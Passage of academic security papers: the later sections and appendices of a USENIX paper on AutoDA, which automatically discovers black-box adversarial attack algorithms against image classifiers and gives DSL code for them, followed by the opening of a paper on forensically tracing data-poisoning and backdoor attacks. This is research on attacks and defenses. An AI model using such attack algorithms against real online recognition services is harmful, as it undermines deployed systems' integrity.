strating their high query efficiency. Though the HSJA* and
Evolutionary attack perform better than the Boundary attack,
our algorithms still outperform them under any query bud-
get. HSJA achieves high query efficiency and is only slightly
worse than ours for small number of queries. However, the
HSJA does not perform well as the number of queries growing,
especially on the DPN model. The Sign-OPT attack’s query
efficiency is worse than ours for small number of queries.
When the number of queries growing larger, Sign-OPT con-
verges to slightly better adversarial examples. For example, on
the ResNet50 model at 20,000 queries, the median ℓ2 distor-
tion is 0.131 for Sign-OPT, while 0.133 and 0.135 for AutoDA
1st and 2nd, and the fourth place is HSJA achieving 0.149
(See Appendix D for more numerical results).

5.3 Benchmark Results on Adversarially
Trained Models and ImageNet Models

To further understand the strength and weakness of the Au-
toDA 1st and 2nd, we also benchmark them against defended
models and models on a larger dataset. For defended models,

we consider adversarially trained models. For larger dataset,
we consider the ImageNet dataset.

Benchmark metrics. We use the same benchmark metrics
as in Section 5.2. For ImageNet models, instead of the plain
ℓ2 distance, existing works usually use the normalized ℓ2 dis-
tance to measure distortion, which is defined as ∥ · ∥2/

√
d

where d is the dimension of the input to the model, because
different ImageNet models might require different input di-
mensions (e.g., 224×224×3). We use the normalized ℓ2 dis-
tance for ImageNet models, too. For this special distance mea-
surement for ImageNet models, we choose an attack success
threshold of ε=

√
0.001, which is used by Dong et al.’s bench-

mark [14], as well as a smaller threshold of ε =
√

0.001/2 to
make the benchmark more comprehensive.

Models and data. For defended models, we choose two ad-
versarially trained models: (1) the pre-trained ℓ2 adversarially
trained ResNet50 [2] model provided by Engstrom et al. [54],
(2) the pre-trained ℓ∞ adversarially trained WRN [55] model
provided by Madry et al. [25]. Their test accuracy is 82.4%
and 87.3% respectively. For models on larger datasets, we con-
sider the widely used ImageNet dataset, and choose two pre-
trained ImageNet models provided by the torchvision pack-
age [56]: (1) the WRN [55] model, and (2) the ResNet101 [2]
model. Their test accuracy is 78.5% and 77.4% respectively.
They both accept inputs of dimension 224×224×3. Similar
to CIFAR-10 models, we also scale all pixels into the range
[0,1] for the two ImageNet models. For CIFAR-10 data, we
select the first 1,000 images from the CIFAR-10 test set same
as in Section 5.2. For ImageNet data, we select the first 1,000
images from the ImageNet test set.

Baselines. For the two defended CIFAR-10 models and the
two normal ImageNet models, we use the same baselines as
in Section 5.2. The implementations of Boundary attack and
Evolutionary attack from Dong et al.’s benchmark enable the
dimension reduction trick [37], which is a generally useful
trick for the acceleration of black-box attacks [7]. Though
this trick can also be integrated into our AutoDA 1st and 2nd
easily, the other two baseline attacks’ implementations do
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not support this trick. To make the comparison fairer and to
understand the original attack’s strength, we disable this trick
for all attacks in this benchmark including our AutoDA 1st
and 2nd.

Hyperparameters (See Appendix B for more explana-
tions). As concluded in Section 5.1, the hyperparameter s
should satisfy s2 dim(n) < 1. However, for the ImageNet
dataset where dim(n) = 224 × 224 × 3, when s = 0.01,
s2 dim(n)≈ 15≫ 1. In order to satisfy this inequality, we de-
crease hyperparameters’ initial value to 0.001 when attacking
ImageNet models.

Results. We plot the median ℓ2 distortion (on a log scale)
vs. queries and attack success rate (ε = 1.0 and ε = 0.5)
vs. queries curves for the six attacks on the two adversar-
ially trained CIFAR-10 models in Figure 5(a), as well as
the normalized ℓ2 distortion vs. queries and attack success
rate (ε =

√
0.001 and ε =

√
0.001/2) vs. queries curves for

the five attacks on the two normal ImageNet models in Fig-
ure 5(b).

For the two adversarially trained CIFAR-10 models, the
Boundary attack still falls far behind the others. Our algo-
rithms are competitive with HSJA and Sign-OPT attack for
these two defended models. Our algorithms have slightly
worse query efficiency than HSJA for a small number of
queries, while HSJA falls behind our algorithms after about
10,000 queries. Though Sign-OPT performs slightly better
when the number of queries grows larger than about 7,000, our
algorithms achieve better query efficiency under the setting
with a smaller number of queries.

To our surprise, our discovered algorithms can actually
work on the ImageNet models, whose input dimension is 49
times larger than that of the CIFAR-10 models. The Bound-
ary attack falls far behind the other attacks. Our algorithms
still show better query efficiency than Sign-OPT for about
7,000 queries. For a larger number of queries, Sign-OPT con-
verges to slightly better adversarial examples than ours. From
both the distortion vs. queries and the attack success rate vs.
queries curves, we observe that our algorithms have better
query efficiency than HSJA under a small number of queries,
too. For a larger number of queries, our algorithms have a
little worse or similar attack success rate with HSJA, while
have better distortion results than HSJA.

There are many widely-used metrics to benchmark attacks.
As a result, even state-of-the-art attacks cannot consistently
achieve better performance than others, e.g., HSJA converges
faster than Sign-OPT, while Sign-OPT converges better than
HSJA. To conclude, benchmark results in Section 5.2 and Sec-
tion 5.3 suggest that our attacks are in the middle of these two
state-of-the-art attacks, and much better than the Boundary
attack. In this work, our search space is based on the Bound-
ary attack and kept relatively restricted, e.g., our DSL is not
able to express Sign-OPT or HSJA. These experiment results
suggest that this search space based on the Boundary attack
contains much stronger attacks than the Boundary attack, and

existing state-of-the-art attacks are near-optimal given this
restricted search space.

5.4 Ablation Study on Search Method
As described in Section 3.4, we apply four techniques to
our search method, which are (1) inputs check, (2) distance
test, (3) compact program, and (4) predefined statements. To
illustrate their effectiveness, we conduct an ablation study on
ten variants of our search method in this section, including
(a) four isolated variants, where each variant is applied with
only one of the four techniques, (b) four exclude-one variants,
where each variant is applied with three techniques, i.e., one of
the four techniques is excluded, (c) base variant, which is just
naive random search, and (d) full variant, which includes all
four techniques. We cannot run the full experiments described
in Section 5.1 for each of the ten variants, since they are too
time consuming. Instead, for each of these ten variants, we
run it to evaluate 100,000 programs against the classifier for
100 iterations on five fixed examples and calculate the ℓ2
distortion ratio for each program. We plot the top 200 lowest
ℓ2 distortion ratios that each variant found in Figure 6.

As we can see from the results, the four isolated variants
overall perform better than the base variant, and the full vari-
ant performs better than the four exclude-one variants. Both
facts suggest the effectiveness of the four techniques. The
third column (isolated variant for distance test) seems to be
an exception — when compared to the base variant, it provides
better lowest ℓ2 distortion ratio (< 0.3) and better overall per-
formance, but it performs worse in the 0.3 to 0.5 range. One
possible reason for this phenomenon is that, there are algo-
rithms failed in the distance test which are able to reduce the
ℓ2 distortion ratio after 100 steps. For example, an algorithm
might sometimes reduce the distance but sometimes increase
the distance. These algorithms do not meet the requirement
of Alg. 1, thus the distance test filters them out.

It worth noting that these results are qualitative. On the
one hand, these techniques interfere with each other. On the
other hand, there is no straightforward qualitative measure-
ment for a set of programs’ overall quality. As a result, the
absolute improvement shown in Figure 6 does not imply the
effectiveness of each technique.

6 Discussion

We have demonstrated AutoDA’s design and implementa-
tion, as well as the competitive performance of the attack
algorithms discovered by it. In this section, we discuss its
limitations and possible future extensions.

Threat models. In this work, we particularly focus on the
automated discovery of untargeted decision-based adversarial
attacks under the ℓ2 norm. Since the random walk framework
Alg. 1 also supports doing targeted attack under the ℓ2 norm,
our approach can be extended to the targeted threat model
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Figure 5: (a) The first two columns are the median ℓ2 distortion (on a log scale) vs. queries and attack success rate (ε = 1.0
and ε = 0.5) vs. queries curves for the six attack methods on the two adversarially trained CIFAR-10 models. (b) The last
two columns are the median normalized ℓ2 distortion (on a log scale) vs. queries and attack success rate (ε =

√
0.001 and

ε =
√

0.001/2) vs. queries curves for the six attack methods on the two normal ImageNet models.

straightforwardly. However, extending to the ℓ∞ norm might
need more efforts. Though the random walk algorithm tem-
plate shown in Alg. 1 does not limit itself to the ℓ2 norm,
existing random-walk-based iterative attacks are usually de-
signed for the ℓ2 norm only but not ℓ∞ [7, 12, 21]. Other ap-
proaches [22, 23] based on zeroth-order optimization provide
extensions to the ℓ∞ norm threat model, but usually exhibit-
ing unsatisfactory performance [24]. There are a few attack
methods specially designed for the ℓ∞ norm, e.g., RayS [24].
However, RayS contains relative complex control flow. These
facts suggest that designing another search space or even de-
signing another algorithm template might be necessary for
the ℓ∞ norm threat model.

Search space. To reduce computational cost, we limit the
search space to be relatively small in this work. Though the
experiments show that there are good attack algorithms in this
search space, a larger thus more powerful search space might
lead to even better algorithms. More mathematical operations
could be added to the AutoDA DSL. Also, carefully integrat-
ing some high-order operations (e.g., binary search used in

many existing attacks [22–24]) into the DSL might lead to a
much more powerful search space. However, a larger search
space with higher complexity would always lead to higher
implementation complexity and higher computational cost,
thereby always a tradeoff to consider in practice.

Search method. In this work, we use random search com-
bined with several pruning techniques and intuitive priors.
This search method is quite simple and works quite well
for our search space. Though random search based method
should be treated as a reasonable baseline as discussed in
Section 3.4, advanced search methods might help to explore
a more powerful search space, thus they are worth trying.

Interpretability. The downside of automating is lacking in-
terpretability in general. Due to the black-box nature of deep
learning models, it is highly nontrivial to carry out theoretical
analysis about decision-based attacks including many existing
expert-designed ones [7, 12]. We are quite lucky to discover
geometrically interpretable attacks (See Appendix B). How-
ever, this kind of theoretical analysis can only be carried out
by domain experts in a case-by-case manner. There is still
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Figure 6: Search method ablation study experiment results.
Each column shows the top 200 lowest ℓ2 distortion ratios
found by each search method. The first column is the base
variant. The last column is the full variant. The (1), (2), (3),
and (4) in the labels of x-coordinate are for inputs check,
distance test, compact program, and predefined statements
respectively. The second to fifth columns are the four isolated
variants. The sixth to ninth columns are the four exclude-one
variants.

something we can do about this in the future, e.g., we can do
automatically simplification and equivalence checking for the
discovered algorithms.

Parameters and classifier selection. Though we have
done an ablation study on our search method in Section 5.4,
how other design choices impact the system is still not clear
and can be investigated in the future, e.g., the number of
queries allowed for one program during the search (it is set
to 10,000 in this work), the max length of programs when
random generating them (it is set to 20 in this work), and
the noise distribution (it is set to the standard Gaussian dis-
tribution in this work). Moreover, selecting classifiers for
evaluating programs during the search is worth further inves-
tigating, too. For example, using classifiers with higher input
dimension during the search might lead to better algorithms
for ImageNet models. Adversarially training the classifier
might lead to better algorithms on defended models.

Practicality. Decision-based black-box setting is one of
the most practical settings for adversarial attacks. For exam-
ple, the Boundary attack paper [12] attacked a cloud-based
computer vision API, and the Evolutionary attack paper [7]
attacked an online face recognition system. Since our AutoDA
1st and 2nd show better performance than these two attacks
on various models with different network architectures (many
of these architectures have real-world usage) in our bench-
mark, we believe our AutoDA 1st and 2nd can also be used
to attack these online services. However, as running attacks
against online services can be time-consuming and expen-
sive, it is not our current focus to run our benchmark on these
online services. Moreover, there are defensive methods for de-
tecting black-box adversarial attacks for online services [57].
Investigating how the automatically generated attacks interact
with these defended real-world applications, and even to au-
tomatically find better attacks to evade the detection are both

possible future work.

7 Related Work

Our AutoDA relates to program synthesis, as well as auto-
mated machine learning (AutoML). In this section, we briefly
review some prior works in these two fields.

Program synthesis. Our approach relates to program syn-
thesis aforementioned in Section 1, whose core problem is
to generate a program that meets an intent specification [26].
Program synthesis works usually use non-machine-learning
techniques, e.g., SKETCH [27] solves the programming by
sketching problem using SAT solver and Brahma [28] can
efficiently discover highly nontrivial up to 20 lines loop-free
bitvector programs. Recent works may use machine learning
techniques, e.g., DeepCoder [29] solves the programming by
example problem using neural-guided search. These works
mainly focus on software problems instead of machine learn-
ing problems.

Automated machine learning. Our work also shares the
goal with automated machine learning (AutoML), which aims
to automate the process of solving machine learning prob-
lems [30]. One most relevant direction of AutoML is neural
architecture search (NAS), which aims to discover good archi-
tectures of deep networks [31]. Existing NAS works usually
construct their search space from expert-designed layers, thus
good architectures in them are dense. Advanced search meth-
ods are often used in NAS works, including reinforcement
learning [31] and even gradient-based optimization [58]. How-
ever, random search based methods are shown to be simple
yet competitive baselines [42, 59].

8 Conclusions

In this work, we propose to automate the process of discover-
ing decision-based iterative attack algorithms. Starting from
the random walk framework as the algorithm template, we
construct our generic search space from the AutoDA DSL,
explore this search space using random search integrated
with several pruning techniques and intuitive priors, and eval-
uate programs in the search space using a small and fast
model. The discovered attack algorithms are simple and ge-
ometrically interpretable, and meanwhile they consistently
achieve competitive performance especially high query ef-
ficiency when attacking models on the CIFAR-10 and Ima-
geNet datasets.
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Appendix

A Hyperparameter Adjustment Strategies
In this section, we will introduce the hyperparameters adjust-
ment strategies used in the Boundary attack [12], the Evolu-
tionary attack [7], and our AutoDA.

Boundary attack. The Boundary attack [12] has two hy-
perparameters — δ controlling the step size of the orthogonal
perturbation, and ε controlling the step size of moving towards
the original example. The original implementation would ad-
just both hyperparameters during the random walk process. If
the success rate for the past several trails is too low, ε would
be decreased, and when the success rate is too high, ε would
be increased. The attack is converged when ε reaches zero. δ

is adjusted according to the orthogonal perturbation’s success
rate similar to adjusting ε. However, using a fixed δ during
the random walk process has negligible performance impact
with a proper initial value. In this case, we only need to adjust
ε during the random walk process.

Evolutionary attack. The Evolutionary attack [7] has sev-
eral hyperparameters, while only µ is adjusted during the ran-
dom walk process. µ is adjusted once for every T iterations
as follows:

µ← µ · exp(p− p̄) (2)

where p is the success rate of past T trails, p̄ is a predefined
target success rate. This is a negative feedback strategy keep-
ing the success rate around p̄. The original implementation
set T to 30 and p̄ to 0.2.

AutoDA. Our AutoDA uses a negative feedback strat-
egy similar to the ones used in the above two attack meth-
ods especially the Evolutionary attack. Instead of using the
exp(p− p̄) function in the Evolutionary attack, we use a piece-
wise linear function f that satisfies f (0) = l, f (1) = h, and
f (p̄) = 1, where l,h are both predefined constants satisfying
0< l < 1< h. The p̄ is the predefined target success rate same
as in the Evolutionary attack. For implementation simplicity,
instead of adjusting the hyperparameter every T iterations as
in the Evolutionary attack, we adjust the hyperparameter in
each iteration according to a decayed success rate p defined
as follows:

p← α · p+(1−α) · k (3)

where k = 1 if x′ is adversarial, otherwise k = 0, α is the decay
rate. We adjust the hyperparameter s as follows:

s← s · [ f (p)]1/10 (4)

where the extra ·1/10 is to stabilize the hyperparameter adjust-
ment, so that when p is quite close to 0.0 for ten iterations, s
would be decreased to at most l · s instead of a much smaller
l10 · s, and when p is quite close to 1.0 for ten iterations, s
would be increased to at most h · s instead of a much larger
h10 ·s. This negative feedback strategy would keep the success
rate around p̄, too. We set α to 0.95, l to 0.5, h to 1.5, and p̄
to 0.25 in AutoDA.

B The AutoDA 1st and AutoDA 2nd
For the AutoDA 1st and 2nd, we show their original SSA
form programs, their SSA form programs after discarding
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Table 3: The attack success rate (ε = 0.5) given different number of queries for the six attack methods on the four normal
CIFAR-10 models.

Model ResNet50 DenseNet DPN DLA

Queries 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000

Boundary 3.3% 10.7% 97.4% 3.9% 12.6% 97.7% 3.9% 8.5% 95.1% 3.1% 11.0% 97.5%
Evolutionary 29.4% 65.4% 99.6% 31.0% 65.9% 99.1% 21.2% 54.6% 98.1% 28.1% 63.2% 98.8%

Sign-OPT 39.2% 79.3% 99.9% 43.3% 81.9% 99.7% 33.1% 71.6% 99.3% 39.1% 78.7% 99.7%
HSJA 64.0% 85.8% 96.6% 66.8% 88.2% 98.0% 55.0% 76.8% 90.5% 65.0% 87.2% 99.0%

HSJA* 33.7% 61.4% 98.8% 37.0% 64.9% 98.5% 28.4% 52.9% 96.7% 32.9% 60.8% 98.1%

AutoDA 1st 69.8% 87.1% 99.8% 70.8% 88.6% 99.5% 58.0% 80.1% 99.3% 70.6% 88.3% 99.4%
AutoDA 2nd 68.6% 87.4% 99.7% 71.0% 88.1% 99.4% 58.3% 80.2% 99.2% 70.1% 87.3% 99.3%

Table 4: The median ℓ2 distortion given different number of queries for the six attack methods on the four normal CIFAR-10
models.

Model ResNet50 DenseNet DPN DLA

Queries 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000

Boundary 3.000 1.636 0.178 2.847 1.579 0.166 2.962 1.911 0.206 3.029 1.711 0.172
Evolutionary 0.793 0.399 0.154 0.754 0.378 0.142 0.914 0.468 0.176 0.812 0.401 0.146

Sign-OPT 0.611 0.288 0.131 0.586 0.273 0.123 0.707 0.352 0.152 0.619 0.289 0.127
HSJA 0.399 0.252 0.149 0.361 0.228 0.137 0.460 0.301 0.181 0.378 0.243 0.142

HSJA* 0.732 0.402 0.162 0.680 0.376 0.152 0.842 0.482 0.190 0.750 0.403 0.161

AutoDA 1st 0.356 0.245 0.133 0.338 0.231 0.124 0.434 0.295 0.154 0.343 0.239 0.130
AutoDA 2nd 0.364 0.254 0.135 0.344 0.236 0.127 0.436 0.294 0.155 0.347 0.237 0.129

unused statements, and their compiled TAC form programs
in Figure 8.

Though this work focuses on automatically generating at-
tack algorithms but not theoretically understanding them, it
turns out that the two discovered programs are related, and
there is a geometric interpretation for them. The return value
of the AutoDA 1st and 2nd which represents the next random
point x′ to walk to can be simplified into the following form
(x′1 for the AutoDA 1st, x′2 for the AutoDA 2nd),

x′1 = x+ s
[(

d ·n
∥d∥2

+ s∥n∥2
2

)
d−∥d∥2n

]
(5)

x′2 = x+ s
[(

d ·n
∥d∥2

+ s∥n∥2
2

)(
1+

1
∥x∥2

)
d−∥d∥2n

]
(6)

where x is the best adversarial example already found and
x0 is the original example (both are defined in Alg. 1), n is
the standard Gaussian noise described in Section 3.3, s is the
scalar hyperparameter, and d = x0−x. s, x0, x, and n are s0,
v1, v2, and v3 in Figure 3 respectively.

Relation between the AutoDA 1st and 2nd. In Eq. (5)
and Eq. (6), we decompose the noise added to x into a d

component and a n component. In this form, the only differ-
ence between x′1 and x′2 is that x′2 have an extra 1+1/∥x∥2
factor in the d component’s coefficient. ∥x∥2 should have sim-
ilar magnitude to

√
dim(x), which is

√
32×32×3≈ 55 for

CIFAR-10 and
√

224×224×3≈ 388 for ImageNet. Hence
1+1/∥x∥2 should be quite close to 1. Thus the AutoDA 2nd
is approximately the same as the AutoDA 1st, which explains
their benchmark results’ similarity.

Geometric interpretation. We can do an orthogonal de-
composition of x′1−x (the noise added to x to get x′1) with
respect to d,

x′1−x = s2∥n∥2
2d︸ ︷︷ ︸

d∥

+s
(

d ·n
∥d∥2

d−∥d∥2n
)

︸ ︷︷ ︸
d⊥

(7)

where the d∥ component is parallel to d, and the d⊥ compo-
nent is orthogonal to d. With the decomposition in Eq. (7),
we can give AutoDA 1st a geometric interpretation. (1) The
d∥ component makes movement towards the original example
and reduce the distance between the adversarial example and
the original example. (2) The d⊥ component is just the pro-
jection of −∥d∥2n onto orthogonal complement of d, which
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tries to move along the local classification boundary similar
to the Boundary attack’s orthogonal perturbation. (3) s con-
trols the step size, since d∥ has a s2 coefficient and d⊥ has a s
coefficient. Smaller s leads to smaller step size.

Hyperparameter. Considering the geometric interpreta-
tion for d∥ in previous paragraph, we can also know why
we need to set s to a smaller value when attacking Ima-
geNet models. Since this component makes movement to-
wards the original example to reduce the distance between
the adversarial example and the original example, it should
at least avoid walking past x0, thus its coefficient s2∥n∥2
should be smaller than 1. We can calculate the expecta-
tion of s2∥n∥2

2 as E(s2∥n∥2
2) = s2 dim(n). For ImageNet

models, dim(n) = 224×224×3 = 150528. When s = 0.01,
E(s2∥n∥2

2) = 15.0528≫ 1. Thus we need to set s to a smaller
value when attacking ImageNet models.

Relation to the Boundary attack. As mentioned above,
the d⊥ component is similar to the Boundary attack’s orthogo-
nal perturbation, illustrating rationality of this heuristic design.
However, there are other important differences between Au-
toDA 1st and the Boundary attack. (1) Our attacks have only
one hyperparameter s, which controls both d⊥ and d∥. As s
decreasing during the random walk process, the magnitude of
the d∥ component would decrease faster than the d⊥ compo-
nent, since the s2 coefficient in d∥ decreases faster than the s
coefficient in d⊥. In contrast, the Boundary attack has two hy-
perparameters. They are tuned separately during the random
walk process as described in Section A. (2) The Boundary
attack’s orthogonal perturbation is obtained by projecting a
random noise onto the sphere centered at x0 and then nor-
malizing its length to δ. Our attacks take a simpler approach
of directly projecting a random noise onto the orthogonal
complement of d without normalization. Besides, a fixed δ

has negligible performance impact as mentioned in Section A.
This might suggest using a hyperparameter δ to normalize the
projection of the random noise is not effective enough, while
our approach of projection without normalization performs
better.

C Implement the Boundary Attack with the
AutoDA DSL

To show the expressiveness of our DSL, we provide one pos-
sible implementation of the Boundary attack [12] using our
AutoDA DSL in Figure 7.

D Extra Benchmark Results

We provide extra benchmark results for Section 5.2. Table 3
and Table 4 show the attack success rate (ε = 0.5) and the
ℓ2 distortion given different number of queries for the six
attack methods on the four normal models on the CIFAR-10
dataset respectively. Moreover, Figure 9 provides intuitive

def Boundary_generate(
s0, s1, s2, v3, v4, v5):

v6 = SUB.VV(v3, v4)
s7 = NORM.V(v6)
v8 = DIV.VS(v6, s7)
s9 = DOT.VV(v5, v8)
v10 = MUL.VS(v8, s9)
v11 = SUB.VV(v5, v10)
s12 = NORM.V(v11)
s13 = MUL.SS(s1, s7)
s14 = DIV.SS(s13, s12)
v15 = MUL.VS(v11, s14)
v16 = SUB.VV(v6, v15)
v17 = DIV.VS(v16, s2)
s18 = NORM.V(v17)
v19 = SUB.VV(v3, v17)
s20 = MUL.SS(s0, s7)
s21 = SUB.SS(s18, s7)
s22 = ADD.SS(s20, s21)
s23 = DIV.SS(s22, s18)
v24 = MUL.VS(v17, s23)
v25 = ADD.VV(v19, v24)
return v25

(a)

def Boundary_generate(
s0, s1, s2, v0, v1, v2):

v3 = SUB.VV(v0, v1)
s3 = NORM.V(v3)
v4 = DIV.VS(v3, s3)
s4 = DOT.VV(v2, v4)
v4 = MUL.VS(v4, s4)
v4 = SUB.VV(v2, v4)
s4 = NORM.V(v4)
s5 = MUL.SS(s1, s3)
s4 = DIV.SS(s5, s4)
v4 = MUL.VS(v4, s4)
v3 = SUB.VV(v3, v4)
v3 = DIV.VS(v3, s2)
s4 = NORM.V(v3)
v4 = SUB.VV(v0, v3)
s5 = MUL.SS(s0, s3)
s3 = SUB.SS(s4, s3)
s3 = ADD.SS(s5, s3)
s3 = DIV.SS(s3, s4)
v3 = MUL.VS(v3, s3)
v3 = ADD.VV(v4, v3)
return v3

(b)

Figure 7: (a) One possible implementation of the Boundary
attack’s generate() function as a SSA form program in the
AutoDA DSL. s0 and s1 are the ε and δ hyperparameters
in the Boundary attack respectively, s2 is derived from the
δ as

√
1+δ2. The Boundary attack would adjust both the

ε and the δ during the random walk process. However, a
fixed δ has negligible performance impact as mentioned in
Section A. For simplicity, we fix the δ so that both s1 and
s2 can be considered as fixed hyperparameters. As a result,
we do not need to add the extra

√
· operation to our DSL for

implementing the Boundary attack. v3 is the original example
x0, v4 is the adversarial example x the random walk process
already found, and v5 is the standard Gaussian noise n. (b)
The compiled TAC form version of the same program. The
s0, s1, s2, v0, v1 and v2 are compiled from the s0, s1, s2,
v3, v4 and v5 in the SSA form program respectively.

impressions about our algorithm’s performance by visualiz-
ing adversarial examples generated by the AutoDA 1st and
Boundary attack under different number of queries against
the ResNet50 model on CIFAR-10.
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def AutoDA_1st(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v7 = MUL.VS(v4, s0)
v8 = MUL.VS(v3, s0)
s9 = DIV.SS(s0, s0)
s10 = SUB.SS(s9, s5)
v11 = MUL.VS(v8, s5)
s12 = ADD.SS(s10, s9)
s13 = MUL.SS(s12, s0)
s14 = ADD.SS(s9, s12)
v15 = DIV.VS(v11, s13)
s16 = DOT.VV(v11, v11)
v17 = ADD.VV(v8, v6)
s18 = DOT.VV(v17, v8)
v19 = SUB.VV(v7, v15)
s20 = DOT.VV(v19, v4)
v21 = MUL.VS(v4, s18)
v22 = ADD.VV(v21, v2)
v23 = SUB.VV(v22, v11)
return v23

def AutoDA_1st(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v8 = MUL.VS(v3, s0)
v11 = MUL.VS(v8, s5)
v17 = ADD.VV(v8, v6)
s18 = DOT.VV(v17, v8)
v21 = MUL.VS(v4, s18)
v22 = ADD.VV(v21, v2)
v23 = SUB.VV(v22, v11)
return v23

def AutoDA_1st(s0, v0, v1, v2):
v3 = SUB.VV(v0, v1)
s1 = NORM.V(v3)
v4 = DIV.VS(v3, s1)
v5 = MUL.VS(v2, s0)
v6 = MUL.VS(v5, s1)
v4 = ADD.VV(v5, v4)
s1 = DOT.VV(v4, v5)
v3 = MUL.VS(v3, s1)
v3 = ADD.VV(v3, v1)
v3 = SUB.VV(v3, v6)
return v3

Discard Unused Statements

Allocate Memory Slots

(a)

def AutoDA_2nd(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v7 = MUL.VS(v3, s0)
v8 = ADD.VV(v7, v6)
s9 = NORM.V(v2)
v10 = MUL.VS(v8, s5)
s11 = DOT.VV(v10, v7)
v12 = DIV.VS(v6, s9)
s13 = DOT.VV(v12, v8)
s14 = MUL.SS(s13, s13)
s15 = MUL.SS(s14, s14)
s16 = MUL.SS(s11, s15)
v17 = ADD.VV(v6, v12)
s18 = SUB.SS(s9, s11)
s19 = SUB.SS(s9, s18)
v20 = MUL.VS(v17, s11)
v21 = ADD.VV(v1, v20)
s22 = MUL.SS(s16, s19)
v23 = SUB.VV(v21, v10)
return v23

def AutoDA_2nd(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v7 = MUL.VS(v3, s0)
v8 = ADD.VV(v7, v6)
s9 = NORM.V(v2)
v10 = MUL.VS(v8, s5)
s11 = DOT.VV(v10, v7)
v12 = DIV.VS(v6, s9)
v17 = ADD.VV(v6, v12)
v20 = MUL.VS(v17, s11)
v21 = ADD.VV(v1, v20)
v23 = SUB.VV(v21, v10)
return v23

def AutoDA_2nd(s0, v0, v1, v2):
v3 = SUB.VV(v0, v1)
s1 = NORM.V(v3)
v3 = DIV.VS(v3, s1)
v4 = MUL.VS(v2, s0)
v5 = ADD.VV(v4, v3)
s2 = NORM.V(v1)
v5 = MUL.VS(v5, s1)
s1 = DOT.VV(v5, v4)
v4 = DIV.VS(v3, s2)
v3 = ADD.VV(v3, v4)
v3 = MUL.VS(v3, s1)
v3 = ADD.VV(v0, v3)
v3 = SUB.VV(v3, v5)
return v3

Discard Unused Statements

Allocate Memory Slots

(b)

Figure 8: (a) and (b) show the original SSA form programs,
the SSA form programs after discarding unused statements,
and the compiled TAC form programs after allocating mem-
ory slots for the SSA form programs, for the AutoDA 1st and
AutoDA 2nd respectively. In the original SSA form programs
and the SSA form programs after discarding unused state-
ments, s0 is the hyperparameter, v1 is the original adversarial
example x0, v2 is the adversarial example x the random walk
process already found, and v3 is the standard Gaussian noise
n. In the TAC form programs, s0, v0, v1 and v2 is compiled
from the s0, v1, v2, v3 in the SSA form programs respec-
tively.

d = 4.059 d = 2.998 d = 1.924 d = 1.183 d = 0.822 d = 0.490 d = 0.370 d = 0.308

d = 8.655 d = 6.089 d = 6.089 d = 6.089 d = 5.967 d = 1.769 d = 0.632 d = 0.371

d = 1.966 d = 1.457 d = 0.868 d = 0.632 d = 0.427 d = 0.272 d = 0.208 d = 0.170

d = 7.411 d = 3.594 d = 3.594 d = 3.558 d = 3.350 d = 0.948 d = 0.292 d = 0.182

d = 1.853 d = 1.527 d = 0.894 d = 0.650 d = 0.432 d = 0.237 d = 0.161 d = 0.128

d = 3.698 d = 3.698 d = 3.661 d = 3.661 d = 3.481 d = 1.924 d = 0.390 d = 0.177
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Figure 9: Adversarial examples generated by the AutoDA 1st
and Boundary attack under different number of queries (the
first eight columns) as well as their corresponding original
natural images (the last column) when attacking the normal
ResNet50 model on CIFAR-10. The 1st, 3rd and 5th rows
are adversarial examples generated by AutoDA 1st, while the
2nd, 4th and 6th rows are for Boundary. The ℓ2 distortion d is
provided above each image.

3574    31st USENIX Security Symposium USENIX Association



Poison Forensics: Traceback of Data Poisoning Attacks in Neural Networks

Shawn Shan, Arjun Nitin Bhagoji, Haitao Zheng, Ben Y. Zhao

Computer Science, University of Chicago
{shawnshan, abhagoji, htzheng, ravenben}@cs.uchicago.edu

Abstract

In adversarial machine learning, new defenses against attacks

on deep learning systems are routinely broken soon after

their release by more powerful attacks. In this context, foren-

sic tools can offer a valuable complement to existing de-

fenses, by tracing back a successful attack to its root cause,

and offering a path forward for mitigation to prevent similar

attacks in the future.

In this paper, we describe our efforts in developing a foren-

sic traceback tool for poison attacks on deep neural networks.

We propose a novel iterative clustering and pruning solu-

tion that trims “innocent” training samples, until all that re-

mains is the set of poisoned data responsible for the attack.

Our method clusters training samples based on their impact

on model parameters, then uses an efficient data unlearning

method to prune innocent clusters. We empirically demon-

strate the efficacy of our system on three types of dirty-label

(backdoor) poison attacks and three types of clean-label poi-

son attacks, across domains of computer vision and malware

classification. Our system achieves over 98.4% precision and

96.8% recall across all attacks. We also show that our system

is robust against four anti-forensics measures specifically de-

signed to attack it.

1 Introduction

For external facing systems in real world settings, few if any

security measures can offer full protection against all attacks.

In practice, digital forensics and incident response (DFIR)

provide a complementary security tool that focuses on us-

ing post-attack evidence to trace back a successful attack to

its root cause. For packet routing on the wide-area Internet,

for example, forensic IP traceback tools can identify the true

source of a Denial of Service (DoS) attack. Not only can

forensic tools help operators identify (and hopefully patch)

vulnerabilities responsible for successful attacks, but strong

forensics can provide a strong deterrent against future attack-

ers by threatening them with post-attack identification.

Such an approach would be particularly attractive in the

context of attacks against deep learning systems, where new

defenses are routinely broken soon after their release by more

powerful attacks [3,11,12,65,80]. Consider for example “poi-

soning attacks,” a threat that arises from the reliance of ML

trainers and operators on external data sources, either pur-

chasing data from or outsourcing data collection to third par-

ties [55]. An attacker can inject manipulated training data

into the training data pipeline, thus causing the resulting

model to produce targeted misclassification on specific in-

puts. Recent advances in poisoning attacks have made them

more powerful [1, 48], more realistic [65, 80, 83], and more

stealthy [4, 45]. In a recent survey, industrial practitioners

ranked data poisoning attacks as the most worrisome threat

to industry machine learning systems [42].

For data poisoning attacks, effective forensics would add a

valuable complement to existing defenses, by helping to iden-

tify which training samples led to the misclassification be-

havior used in the attack. We call this the “poison traceback

problem.” Starting with evidence of the attack (an input sam-

ple that triggers the misclassification), a forensic tool would

seek to identify a particular subset of training data responsi-

ble for corrupting the model with the observed misclassifi-

cation behavior. Combined with metadata or logs that track

the provenance of training data, this enables practitioners to

